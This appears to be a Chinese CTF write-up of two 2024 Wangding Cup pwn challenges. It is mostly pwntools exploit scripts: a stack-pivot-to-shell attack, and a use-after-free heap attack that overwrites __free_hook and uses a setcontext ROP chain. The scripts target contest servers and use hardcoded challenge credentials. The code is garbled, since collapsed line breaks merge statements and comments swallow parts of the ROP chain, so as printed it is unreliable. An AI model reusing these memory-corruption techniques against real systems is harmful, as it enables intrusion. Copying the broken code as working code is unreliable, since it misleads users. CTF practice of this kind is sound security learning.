2024年网鼎杯青龙组 pwn

news/2025/1/18 5:28:14/文章来源:https://www.cnblogs.com/L1nyun/p/18516575

pwn2

开局泄露栈地址,又是栈溢出,直接栈转移拿下

from pwn import *
from LibcSearcher import LibcSearcher
#from Crypto.Util.number import bytes_to_long,bytes_to_long
#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
li = lambda content,data : print('\x1b[01;38;5;214m' + content + ' = ' + hex(data) + '\x1b[0m')
lg = lambda content : print('\x1b[01;38;5;214m' + content +'\x1b[0m')
sla = lambda data, content: io.sendlineafter(data,content)
sa = lambda data, content: io.sendafter(data,content)
sl = lambda data: io.sendline(data)
rl = lambda data: io.recvuntil(data)
re = lambda data: io.recv(data)
sa = lambda data, content: io.sendafter(data,content)
dbg = lambda    : gdb.attach(io)
bk = lambda : (dbg(),pause())
inter = lambda: io.interactive()
l64 = lambda    :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda     :u64(io.recv(6).ljust(8,b'\x00'))
add=0
orw_shellcode = asm(shellcraft.open('flag') + shellcraft.read(3, add, 0x30) + shellcraft.write(1,add, 0x30))
def dbg(c = 0):if(c):gdb.attach(io, c)pause()else:gdb.attach(io)pause()#---------------------------------------------------------
filename = "./short"
#io = process(filename)
io = remote("0192d60ff4427dff9e9f1e7ecaacbc14.diu4.dg07.ciihw.cn",46513)
elf = ELF(filename)
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
#初始化完成---------------------------------------------------------\
sla(b':',b'admin')
sla(b':',b'admin123')
rl(b'this:')
s=io.recv(11)
print(s)
badd=int(s,16)
print(hex(badd))
backdoor=0x80485ff
#payload=b'/bin/sh\x00'+b'a'*68+b'a'*4+p32(elf.bss()+0x100)+p32(0x8048662)
payload=(p32(backdoor)*2+p32(badd+8+4)+b'/bin/sh\x00').ljust(0x50,b'a')+p32(badd)+p32(0x804860F)
#dbg()
sa(b'plz input your msg:',payload)inter()

pwn4

开头卡了一个账号密码,是未知的,但根据回显可以判断长度,最后写一个随机字符串爆破算法爆破出来了

2.27的堆题,漏洞点是uaf,但是这个堆题包装了一个rc4加密

rc4本质是就是字符的异或,两次rc4就可以恢复原来的,审计发现,add功能的时候会加密一次,然后show会加密恢复一次,然后show之后再加密,free功能会把内容全加密一次,edit功能也会

因此,我们在free掉之后,在调试中看是没加密的,但是show功能出来的是加密之后的,因此泄露地址的时候接收到的是密文,我们直接rc4一次就可以了,还有后续uaf修改也需要去提前处理

撕开这层包装,后面就是uaf泄露地址然后改freehook然后orw了

exp如下

from pwn import *
#from Crypto.Util.number import bytes_to_long,bytes_to_long
#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
li = lambda content,data : print('\x1b[01;38;5;214m' + content + ' = ' + hex(data) + '\x1b[0m')
lg = lambda content : print('\x1b[01;38;5;214m' + content +'\x1b[0m')
sla = lambda data, content: io.sendlineafter(data,content)
sa = lambda data, content: io.sendafter(data,content)
sl = lambda data: io.sendline(data)
rl = lambda data: io.recvuntil(data)
re = lambda data: io.recv(data)
sa = lambda data, content: io.sendafter(data,content)
dbg = lambda    : gdb.attach(io)
bk = lambda : (dbg(),pause())
inter = lambda: io.interactive()
l64 = lambda    :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda     :u64(io.recv(6).ljust(8,b'\x00'))
add=0
orw_shellcode = asm(shellcraft.open('flag') + shellcraft.read(3, add, 0x30) + shellcraft.write(1,add, 0x30))
def dbg(c = 0):if(c):gdb.attach(io, c)pause()else:gdb.attach(io)pause()#---------------------------------------------------------
filename = "./pwn"
#io = process(filename)
io = remote("0192d73de23d7e60b2db8af8f087fcb7.srv9.dg07.ciihw.cn",44909)
#elf = ELF(filename)
libc=ELF("./libc.so.6")
#初始化完成---------------------------------------------------------\
def add(size,index,payload):sla(b'>',b'1')sla(b':',str(index))sla(b':',str(size))sa(b':',payload)
def free(index):sla(b'>',b'3')sla(b':',str(index)) 	
def show(index):sla(b'>',b'2')sla(b':',str(index))def edit(index,payload):sla(b'>',b'4')sla(b':',str(index))sa(b':',payload)#rc4
def KSA(key):""" Key-Scheduling Algorithm (KSA) """S = list(range(256))j = 0for i in range(256):j = (j + S[i] + key[i % len(key)]) % 256S[i], S[j] = S[j], S[i]return Sdef PRGA(S):""" Pseudo-Random Generation Algorithm (PRGA) """i, j = 0, 0while True:i = (i + 1) % 256j = (j + S[i]) % 256S[i], S[j] = S[j], S[i]K = S[(S[i] + S[j]) % 256]yield Kdef RC4(key, text):""" RC4 encryption/decryption """S = KSA(key)keystream = PRGA(S)res = []for char in text:res.append(char ^ next(keystream))return bytes(res)
sla(b'Input your username:',b'4dm1n')
sla(b'Input your password:',b'985da4f8cb37zkj')
for i in range(8):add(0x120,i,b'aaaa\n')
add(0x120,8,b'aaaa\n')
for i in range(7):free(i)
free(7)
show(7)
#dbg()#leak libc
rl(b'[key,value] = [7,')
add2=io.recvuntil(b'Encrypt')[0:-9]
print(add2)
key = b's4cur1ty_p4ssw0rd'
ciphertext = RC4(key, add2)
print(ciphertext[0:8])
libcbase=u64(ciphertext[0:8])-0x3ebca0
#add=h64()
lg(hex(libcbase))
#dbg()#leak heap
show(6)
rl(b'[key,value] = [6,')
add2=io.recvuntil(b'Encrypt')[0:-9]
print(add2)
key = b's4cur1ty_p4ssw0rd'
ciphertext = RC4(key, add2)
print(ciphertext[0:8])
heapbase=u64(ciphertext[0:8])
lg(hex(heapbase))
#hacker free_hook
free_hook=libcbase+libc.sym['__free_hook']
lg(hex(free_hook))
free_hook = f"{free_hook:x}".zfill(16)
free_hook=bytes.fromhex(free_hook)
free_hook=free_hook[::-1]
#setcont=libcbase+libc.sym['setcontent']+61
key = b's4cur1ty_p4ssw0rd'
efree = RC4(key, free_hook)
edit(6,efree+b'\n')
add(0x120,9,b'aaaaa\n')
#dbg()
setcontext=libcbase+libc.sym['setcontext']+53
lg(hex(setcontext))
setcontext = f"{setcontext:x}".zfill(16)
setcontext=bytes.fromhex(setcontext)
setcontext=setcontext[::-1]
efree = RC4(key, setcontext)
add(0x120,0,efree+b'\n')
# 计算 ROP gadgets 和函数地址
pop_rdi = libcbase +0x000000000002164f
pop_rsi = libcbase + 0x0000000000023a6a 
pop_rdx = libcbase + 0x0000000000130539
read_addr = libcbase + libc.sym['read']
puts_addr =libcbase+ libc.sym['puts']
open_addr = libcbase+libc.sym['open']
ret=libcbase+0x00000000000008aa
# 构建 ROP 链
orw1 = (p64(pop_rdi) + p64(heapbase+0x478) +  # openp64(pop_rsi) + p64(0) + p64(open_addr)+p64(pop_rdi) + p64(3) +  # readp64(pop_rsi) + p64(heapbase) +p64(pop_rdx) + p64(0x30) + p64(heapbase) +p64(read_addr) +p64(pop_rdi) + p64(heapbase) +  # putsp64(puts_addr)
)
orw1.ljust(0xa8,b'a')
orw1+=p64(heapbase+0x390)*5+p64(ret)*8+b'./flag.txt\x00'
#orw1+=p64(heapbase+0x390)*8+b'flag\x00'
# 转换为字节串并处理
orw=p64(pop_rdi)
orw_hex = orw.hex().zfill(16)  # 直接用 .hex() 方法
orw_bytes = bytes.fromhex(orw_hex)
# 加密
efree = RC4(key, orw_bytes)
orw=p64(pop_rsi)
orw_hex = orw.hex().zfill(16)  # 直接用 .hex() 方法
orw_bytes = bytes.fromhex(orw_hex)
efree += RC4(key, orw_bytes)edit(8, orw1+b'\n')
#dbg()
free(8)
inter()

好久没搞2.27的orw了,我setcontext还是用的+61的,卡了一下

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/824351.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

新东方在线视频课程资料下载工具,如何在电脑端下载新东方在线视频课程讲义到本地?

一. 安装新东方在线课程下载器 1.获取学无止下载器 https://www.xuewuzhi.cn/koolearn_downloader 2.下载安装后,然后点击桌面快捷方式运行即可。 注意:杀毒软件可能会阻止外部exe文件运行,并将其当做成病毒,直接添加信任即可,本软件绝对没有木马病毒。 二. 使用说明 1.学…

强连通分量学习笔记+杂题

图论系列: 前言: 僕は 明快さ故にアイロニー 優柔不断なフォローミー 後悔後悔夜の果て 相关题单:戳我 一.强连通分量相关定义 基本摘自oi wiki ,相关定义还是需要了解。(实际就是搬了个oi wiki) 强连通分量主要在研究有向图可达性,针对的图类型为有向弱联通图。 1.强连通…

CMake 生成器表达式---条件表达式和逻辑运算符

CMake 的生成器表达式用于在构建系统级别上进行条件判断和逻辑运算,它们通常用在目标属性和生成器表达式上下文中。这些表达式允许你根据不同的平台、配置或编译器来定制构建过程。【写在前面】 CMake 的生成器表达式用于在构建系统级别上进行条件判断和逻辑运算,它们通常用在…

ESP32-LVGL驱动框架

ESP32另一种LVGL驱动架构问题背景 最近在调试一个新屏幕的过程中,使用LVGL官方的lvgl_esp32_driver驱动,在我这个分辨率比较大(454 x 454)的屏幕下会出现,在分配完成buff后,若buff过大会出现,在刷屏的时候会这种警告。 txdata transfer > hardware max supported len研…

goland 把多个项目窗口合并到一个窗口

有时我们可能想把goland 每个项目窗口合并到一个窗口,每个项目以一个tab的形式展示,下面是合并的方法 点击「Window->Merge All Project Windows」即可

Word_共享编辑

打开链接 ? 点击右上角的"登录"点"编辑"→点"在桌面版中打开"共享编辑 ok

手把手教你如何下载中国大学mooc慕课上已关闭的视频课程和课件资料

随着线上教育的普及,越来越多的大学开始提供线上教育,以方便学生的在线学习。然而,有些课程在结束后就会被关闭,导致学生无法再次观看。如果你想下载这些已经关闭的视频课程,该怎么办呢?其实我们可以通过一些工具来下载这些已关闭的课程。这里以中国大学Mooc网站为例,教…

汉文博士新增《通用规范汉字表》等多个字表

汉文博士的字表可以用于在部首、构型、粤拼和拼音检索中突出显示或筛选汉字。 今天将之前上传的字表全部重新生成了一遍,在词典管理界面双击字表可查看字表内含的汉字数量。 另外,还新增了如下字表:现代汉语通用字表 现代汉语常用字表 通用规范汉字表 台湾“常用国字”标准字…

Normalized Mutual Information(NMI, 归一化互信息)

Normalized Mutual Information(NMI, 归一化互信息)值域是 $[0,1]$,值越高表示两个聚类结果越相似。归一化是指将两个聚类结果的相似性值定量到 $0\sim 1$ 之间。$$ \text{NMI}=\frac{2\sum_i\sum_jn_{ij}ln\frac{n_{ij}N}{n_in_j}}{-\sum_in_iln\frac{n_i}{N}-\sum_jn_jln\fr…

模拟赛总结(四)(终章?)

2024.10.30 T1 追逐游戏 (chase) 被自己的分讨绕死了,以后要学会简化code T2 统计code T3 软件工程 选前\(k - 1\)长的 + 剩下求交集可得\(96\) ~~为什么我贪的不对qwq ~~ 把这个贪心改成大炮就是整洁的一部分 定义\(dp_{i,j}\)表示前\(i\)条线段放到\(j\)个集合里,那么上述方…

【红队】利用 PsycheShell 进行 Paste Jacking 以获取隐秘的反向 Shell

原创 Ots安全介绍 在网络安全领域,粘贴劫持 (Paste Jacking)等技术代表着社会工程攻击日益复杂的趋势。当用户从网页上复制看似无害的内容,但粘贴的内容却遭到恶意篡改时,就会发生粘贴劫持。攻击者可以使用此技术在目标机器上执行命令,尤其是当用户粘贴到终端等敏感环境中时…

数据采集与融合技术实践课第三次作业

数据采集与融合技术实践课第三次作业这个作业属于哪个课程 https://edu.cnblogs.com/campus/fzu/2024DataCollectionandFusiontechnology码云作业gitee仓库 https://gitee.com/huang-yuejia/DataMining_project/tree/master/work3学号 102202149姓名 黄悦佳目录数据采集与融合技…